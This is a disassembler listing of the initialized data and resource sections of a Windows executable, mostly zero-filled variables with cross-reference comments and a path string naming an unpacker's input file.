dword_4CF604	dd 1000h dup(0)		; DATA XREF: sub_415D38+1Do
					; sub_415DD8o ...
dword_4D3604	dd 0			; DATA XREF: sub_415D38+13o
					; sub_415DD8+Eo ...
dword_4D3608	dd 0Eh dup(0)		; DATA XREF: sub_416CC9+Fo
dword_4D3640	dd 80h dup(0)		; DATA XREF: sub_417990+41o
dword_4D3840	dd 200h	dup(0)		; DATA XREF: sub_4172C1+C7o
					; sub_41761C+DDo ...
dword_4D4040	dd 44h dup(0)		; DATA XREF: sub_4172C1+D6o
					; sub_41761C+F4o ...
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: ___:off_4383B8o
		dd 1BBh	dup(0)
dword_4D4840	dd 0			; DATA XREF: sub_4172C1+86w
					; sub_417493+94r
dword_4D4844	dd 0			; DATA XREF: sub_4172C1+A7w
					; sub_4178F9+55r ...
dword_4D4848	dd 0			; DATA XREF: sub_4172C1+A0w
					; sub_417493+D6r ...
dword_4D484C	dd 0			; DATA XREF: sub_4172C1+79w
					; sub_417493+35r ...
dword_4D4850	dd 80h dup(0)		; DATA XREF: sub_4178F9+5Eo
dword_4D4A50	dd 0			; DATA XREF: sub_4172C1+93w
					; sub_417493+A2r
		align 8
dword_4D4A58	dd 0			; DATA XREF: sub_4172C1+E7o
					; sub_4172C1+103r ...
dword_4D4A5C	dd 0			; DATA XREF: sub_41761C+17Bw
					; sub_4177C3+107w
dword_4D4A60	dd 0			; DATA XREF: sub_41761C+180w
					; sub_4177C3+10Dw ...
dword_4D4A64	dd 0			; DATA XREF: sub_41761C+159w
					; sub_4178F9+4Fr
dword_4D4A68	dd 0			; DATA XREF: sub_417C61+22w
					; sub_417C61:loc_417DE6w ...
dword_4D4A6C	dd 0			; DATA XREF: sub_401ACD+3C95o
					; sub_417B2F+12o ...
		dd 0
dword_4D4A74	dd 0			; DATA XREF: sub_417C61+1Cr
					; sub_417E06+3Ar
		dd 7Fh dup(0)
dword_4D4C74	dd 0			; DATA XREF: sub_417C61+28r
					; sub_417E06+4Aw
		dd 1944h dup(0)
dword_4DB188	dd 0			; DATA XREF: sub_417E06+23o
dword_4DB18C	dd 81h dup(0)		; DATA XREF: sub_401ACD+3CB9o
					; sub_417B2F+3Co ...
dword_4DB390	dd 17h dup(0)		; DATA XREF: sub_418D2A:loc_418E47o
					; sub_418D2A+131o ...
dword_4DB3EC	dd 80h dup(0)		; DATA XREF: sub_419AE0+7Co
					; sub_419AE0+A5o
dword_4DB5EC	dd 0			; DATA XREF: sub_4190A5+45w
					; sub_4190A5+4Dr ...
dword_4DB5F0	dd 17h dup(0)		; DATA XREF: sub_4199AC:loc_419ACEo
					; sub_4199AC+12Do
dword_4DB64C	dd 80h dup(0)		; DATA XREF: sub_418FE5+4Co
					; sub_418FE5+7Eo ...
byte_4DB84C	db 0			; DATA XREF: sub_4190A5+29r
					; sub_4190A5+34w
		align 10h
dword_4DB850	dd 80h dup(0)		; DATA XREF: sub_4192FC+61o
					; sub_4192FC+89o ...
dword_4DBA50	dd 81h dup(0)		; DATA XREF: sub_418C0E:loc_418C46o
					; sub_418C0E+5Bo
dword_4DBC54	dd 0			; DATA XREF: sub_419F6D:loc_419F8Er
					; sub_41A05C+54r ...
dword_4DBC58	dd 0			; DATA XREF: sub_419F6Dr
					; sub_41A05C+37r ...
dword_4DBC5C	dd 0			; DATA XREF: sub_419F9D+1Ar
					; sub_41A1B1+83o
dword_4DBC60	dd 0			; DATA XREF: sub_419F6D:loc_419F81r
					; sub_41A1B1+11Bw
dword_4DBC64	dd 0Dh dup(0)		; DATA XREF: sub_41A05C+13o
					; sub_41A1B1:loc_41A2EEo
dword_4DBC98	dd 0			; DATA XREF: sub_41A05C+CDr
					; sub_41A05C+ECr ...
		align 10h
dword_4DBCA0	dd 0Fh dup(0)		; DATA XREF: sub_41ADD8+47o
byte_4DBCDC	db 0			; DATA XREF: sub_41B52C+6o
					; ___:0041B881o ...
		align 10h
		dd 3Fh dup(0)
dword_4DBDDC	dd 2 dup(0)		; DATA XREF: sub_41B55B+18o
dword_4DBDE4	dd 2 dup(0)		; DATA XREF: sub_41B55B+8o
					; ___:0041B6CAo
dword_4DBDEC	dd 0			; DATA XREF: sub_41C59D+1B9w
					; ___:loc_41DB07w ...
dword_4DBDF0	dd 0			; DATA XREF: sub_41DC5E+35w
					; sub_41E312:loc_41E3ACw ...
dword_4DBDF4	dd 0			; DATA XREF: sub_42423B+13Ar
		dd 0A28h, 501h,	5, 1
dword_4DBE08	dd 1			; DATA XREF: ___:loc_401516r
					; ___:0042381Dw
dword_4DBE0C	dd 2450B30h		; DATA XREF: ___:0040151Fr
					; ___:0040153Fr ...
		dd 0
dword_4DBE14	dd 2450B58h		; DATA XREF: ___:00423717w
		dd 3 dup(0)
off_4DBE24	dd offset aCM_unpackerPac ; DATA XREF: ___:004237BAw
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_4DBE2C	db 0			; DATA XREF: sub_41C1B3+2Dw
					; sub_4241E3+5r
		align 10h
dword_4DBE30	dd 0			; DATA XREF: sub_41C1B3+27w
dword_4DBE34	dd 0			; DATA XREF: sub_41C1B3+4r
					; sub_41C1B3+8Bw
dword_4DBE38	dd 0			; DATA XREF: sub_41CAD4+3Br
					; sub_41CAD4+91w
		align 10h
dword_4DBE40	dd 0			; DATA XREF: sub_41D124+Aw
dword_4DBE44	dd 0			; DATA XREF: ___:loc_4236E5r
					; ___:loc_423727r ...
		dd 0
dword_4DBE4C	dd 0			; DATA XREF: sub_41E2C9r ___:0041E2F0o ...
dword_4DBE50	dd 0			; DATA XREF: sub_41F3B0+4Bw
					; sub_41F4C9+2Dw ...
dword_4DBE54	dd 0			; DATA XREF: sub_41FBB2r
dword_4DBE58	dd 0			; DATA XREF: sub_41BBE2:loc_41BCFEr
					; sub_41BBE2:loc_41BE1Fr ...
dword_4DBE5C	dd 1			; DATA XREF: sub_420749:loc_4208C4r
					; sub_4208E2+4w ...
dword_4DBE60	dd 0			; DATA XREF: sub_420CE6+37r
		align 8
dword_4DBE68	dd 0			; DATA XREF: sub_422279+11r
					; sub_42237D+1Ar ...
byte_4DBE6C	db 0			; DATA XREF: sub_422279+3r
					; sub_422279+98r ...
		align 10h
dword_4DBE70	dd 0			; DATA XREF: sub_42237D+11r
					; sub_42245B+21w ...
byte_4DBE74	db 0			; DATA XREF: sub_42245B+51w
		align 4
dword_4DBE78	dd 0			; DATA XREF: sub_422651+4Er
					; sub_422A2C+3Ar ...
dword_4DBE7C	dd 0			; DATA XREF: sub_422651+5Cr
					; sub_422A2C+43r ...
dword_4DBE80	dd 0			; DATA XREF: sub_41D3AA+7Ar
					; sub_4227F8+5r
dword_4DBE84	dd 0			; DATA XREF: sub_422DFC+29r
dword_4DBE88	dd 1			; DATA XREF: sub_4232A8+28r
					; sub_4232A8+4Cw ...
		dd 2 dup(0)
dword_4DBE94	dd 0			; DATA XREF: sub_41DE4A+4r
					; sub_41DE4A+6Er ...
		dd 3 dup(0)
dword_4DBEA4	dd 0			; DATA XREF: sub_41E0D4+61r
					; sub_41E0D4+BFr ...
		dd 0
dword_4DBEAC	dd 0			; DATA XREF: ___:00423531r
					; ___:0042353Dw ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_4237A3o
					; ___:off_4DBE24o
		align 4
		dd 3Ah dup(0)
dword_4DBFB4	dd 1			; DATA XREF: ___:004239DBr
					; ___:004239FCw ...
dword_4DBFB8	dd 0			; DATA XREF: sub_423D98+21r
dword_4DBFBC	dd 0			; DATA XREF: sub_41FBCD+154w
					; sub_420CE6:loc_420D0Fw ...
dword_4DBFC0	dd 0			; DATA XREF: sub_41FBCD+7r
dword_4DBFC4	dd 1			; DATA XREF: sub_4244F4+26r
					; sub_4244F4:loc_42455Ew
word_4DBFC8	dw 0			; DATA XREF: sub_424DF9+1Ao
					; sub_424DF9+46r
byte_4DBFCA	db 0			; DATA XREF: sub_424DF9+39r
		align 4
dword_4DBFCC	dd 7 dup(0)		; DATA XREF: sub_424DF9+52o
dword_4DBFE8	dd 0			; DATA XREF: sub_424DF9+40w
					; sub_424DF9+5Co
dword_4DBFEC	dd 0			; DATA XREF: sub_424DF9+4Dw
dword_4DBFF0	dd 0			; DATA XREF: sub_424DF9+31w
dword_4DBFF4	dd 0			; DATA XREF: sub_424DF9+52w
dword_4DBFF8	dd 77C26E79h		; DATA XREF: sub_424F1C:loc_424F3Fr
					; sub_424F1C+38r
dword_4DBFFC	dd 0			; DATA XREF: sub_425029+3r
					; sub_425029+2Ew ...
dword_4DC000	dd 0			; DATA XREF: sub_425029+43w
					; sub_425029:loc_425078r
dword_4DC004	dd 0			; DATA XREF: sub_425029+4Aw
					; sub_425029+60r
dword_4DC008	dd 0			; DATA XREF: sub_42423B+3Fr
dword_4DC00C	dd 0			; DATA XREF: sub_425C06:loc_425C6Dr
					; sub_425C06+6Do
dword_4DC010	dd 0			; DATA XREF: sub_425C06:loc_425C44r
					; sub_425C06+44o
dword_4DC014	dd 0			; DATA XREF: sub_425C06:loc_425C37r
					; sub_425C06+37o
dword_4DC018	dd 0			; DATA XREF: sub_425C06:loc_425C51r
					; sub_425C06+51o
		align 10h
dword_4DC020	dd 0			; DATA XREF: sub_426636+28r
					; sub_426636+4Cw ...
dword_4DC024	dd 0			; DATA XREF: sub_4268C1+26r
					; sub_4268C1:loc_42692Bw
byte_4DC028	db 0			; DATA XREF: sub_40DB3Cr sub_40DB3C+9w
		align 4
dword_4DC02C	dd 2451140h		; DATA XREF: sub_41E490:loc_41E4A1r
					; sub_41FD3D+14r ...
		dd 4 dup(0)
dword_4DC040	dd 400h	dup(0)		; DATA XREF: ___:off_43D578o
					; ___:0043D580o
dword_4DD040	dd 200h			; DATA XREF: sub_41E490+9r
					; sub_41E490+56r ...
		dd 7 dup(0)
dword_4DD060	dd 2450650h		; DATA XREF: sub_41F8E3+75r
					; sub_41F9BC+2Ar ...
dword_4DD064	dd 3Fh dup(0)		; DATA XREF: ___:00423B9Do
dword_4DD160	dd 20h			; DATA XREF: sub_41E312+8r
					; sub_41F9BC+Cr ...
dword_4DD164	dd 4E4h			; DATA XREF: sub_420749+14r
					; sub_420749+65w ...
		align 10h
dword_4DD170	dd 3 dup(0)		; DATA XREF: sub_420749+123o
					; sub_420749+171o ...
dword_4DD17C	dd 0			; DATA XREF: sub_420749+108w
					; sub_420749+15Dw ...
byte_4DD180	db 0			; DATA XREF: sub_420988:loc_420A94w
					; sub_420988:loc_420AB1w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DD280	db 0			; DATA XREF: sub_420749+5Co
					; sub_420749+AFo ...
byte_4DD281	db 0			; DATA XREF: sub_41C3B1+5Dr
					; sub_420749+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DD384	dd 0			; DATA XREF: sub_420749+6Ew
					; sub_420749+12Bw ...
dword_4DD388	dd 0			; DATA XREF: sub_41ED74+5r
					; sub_41ED74+32w
dword_4DD38C	dd 0			; DATA XREF: sub_41E742+23Ar
					; sub_41E742+25Ar ...
dword_4DD390	dd 0			; DATA XREF: sub_41E742+311w
					; sub_41EA6B:loc_41EABBr ...
dword_4DD394	dd 0			; DATA XREF: sub_41E742+22Dr
					; sub_41E742+260r ...
dword_4DD398	dd 0			; DATA XREF: sub_41E717r
					; sub_41E742+2CBr ...
dword_4DD39C	dd 0			; DATA XREF: sub_41E717+8r
					; sub_41E742+2D0r ...
dword_4DD3A0	dd 0			; DATA XREF: sub_41BBE2+5Cr
					; sub_41BEF3+Fr ...
dword_4DD3A4	dd 2450000h		; DATA XREF: sub_41BA91+5Ar
					; sub_41BBE2+C0r ...
dword_4DD3A8	dd 1			; DATA XREF: sub_41BA91+Cr
					; sub_41BBE2:loc_41BC12r ...
dword_4DD3AC	dd 142340h		; DATA XREF: ___:0042368Ar
					; ___:004237B5r
dword_4DD3B0	dd 1			; DATA XREF: ___:00423780w
dword_4DD3B4	dd 1			; DATA XREF: sub_420B0Dr
					; sub_420B0D+11w ...
dword_4DD3B8	dd 2450758h		; DATA XREF: sub_41C1B3+3Er
					; sub_41D9B3+13r ...
dword_4DD3BC	dd 2450758h		; DATA XREF: sub_41C1B3+35r
					; sub_41C1B3+57r ...
		dd 310h	dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 000DF000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DF000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4DF000h
		dd 160h	dup(0)
		db    0			; DATA XREF: Themida_:00568BB1o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
